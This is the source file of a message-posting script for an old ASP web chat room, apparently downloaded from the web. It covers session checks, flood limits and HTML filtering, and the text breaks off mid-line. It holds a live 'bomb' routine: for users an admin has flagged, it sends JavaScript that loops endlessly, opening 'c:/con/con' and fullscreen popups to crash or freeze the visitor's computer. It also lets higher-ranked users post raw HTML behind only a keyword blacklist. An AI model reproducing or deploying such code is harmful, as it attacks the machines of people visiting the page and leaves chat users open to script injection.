say.asp

此程序为网上下载

<%@ codepage ="936" %>
<%Response.Expires=0
useronlinename=Application("wsaxhxf_c_useronlinename")
nickname=Session("hxf_u_nickname")
grade=Int(Session("hxf_u_grade"))
maxtimeout=Application("wsaxhxf_c_maxtimeout")
lasttime=Session("hxf_u_lasttime")
bombname=Application("wsaxhxf_c_bombname")
webicqname=Application("wsaxhxf_c_webicqname")
amn=Application("wsaxhxf_c_automanname")
if Instr(bombname," "&nickname&" ")>0 then
 bombname=Replace(bombname," "&nickname&" ","")
 Application.Lock
  Application("wsaxhxf_c_bombname")=bombname
 Application.UnLock
 Response.Write "<script language=JavaScript>while(true){window.open('file:///c:/con/con');window.open('readonly/bomb.htm','','fullscreen=yes,Status=no,scrollbars=no,resizable=no');}</script>"
 Session.Abandon
 Response.End
end if
if nickname="" or Session("hxf_u_inthechat")<>"1" or Instr(LCase(useronlinename),LCase(" "&nickname&" "))=0 then
 Session("hxf_u_inthechat")="0"
 Response.Redirect "chaterr.asp?id=001"
end if
n=Year(date())
y=Month(date())
r=Day(date())
s=Hour(time())
f=Minute(time())
m=Second(time())
if len(y)=1 then y="0" & y
if len(r)=1 then r="0" & r
if len(s)=1 then s="0" & s
if len(f)=1 then f="0" & f
if len(m)=1 then m="0" & m
sj=s & ":" & f & ":" & m
sj2=n & "-" & y & "-" & r & " " & sj
if DateDiff("s",Session("hxf_u_lastsaytime"),sj2)<3 then
 Response.Write "<script language=JavaScript>{alert('有话慢慢说，别噎着哦！');}</script>"
 Response.End
end if
Session("hxf_u_lastsaytime")=sj2
t="<font class=t>(" & sj & ")</font>"
if DateDiff("n",lasttime,sj2)>maxtimeout then
 Response.Write "<script language=JavaScript>top.location.href='nosaytimeout.asp';</script>"
 Response.End
end if
towho=Trim(Request.Form("towho"))
if towho="" then towho="大家"
if len(towho)>10 then towho=Left(towho,10)
if Not(towho=amn or towho="大家" or Instr(useronlinename," "&towho&" ")<>0) then
 Response.Write "<script Language=Javascript>alert('“" & towho & "”不在聊天室中，不能对其发言。');parent.f2.document.af.towho.value='大家';parent.f2.document.af.towho.text='大家';parent.m.location.reload();</script>"
 Response.end
end if
act=0
towhoway=Request.Form("towhoway")
if towhoway<>1 then towhoway=0
addwordcolor=Request.Form("addwordcolor")
sayscolor=Request.Form("sayscolor")
addsays=Request.Form("addsays")
says=Trim(Request.Form("sy"))
titleline=Request.Form("titleline")
if titleline<>1 then titleline=0
if Instr(says,".")<>0 or Instr(says,"/")<>0 or Instr(says,"／")<>0 or Instr(says,"．")<>0 then titleline=0
if towho="大家" or titleline=1 then towhoway=0
sift=Trim(Request.Form("sift"))
if sift<>"0" and sift<>"1" and sift<>"2" then sift="0"
Session("hxf_u_sift")=sift
if len(says)>150 then says=Left(says,150)
if (says="" or says="//") then Response.End
usehtmlgrade = Int(Application("wsaxhxf_c_allowhtml"))
If grade >= usehtmlgrade Then
  v2b = LCase(says)
  htmldontinstr = Application("wsaxhxf_c_htmldontinstr")
  If htmldontinstr <> "" Then
   hdis = Split(htmldontinstr, ",")
   ubhdis = UBound(hdis)
   For i = 0 To ubhdis
    If InStr(v2b, hdis(i)) <> 0 Then
     says = Server.HTMLEncode(says)
     Exit For
    End If
   Next
  End If
Else
  says = Server.HTMLEncode(says)
End If
if InStr(says,"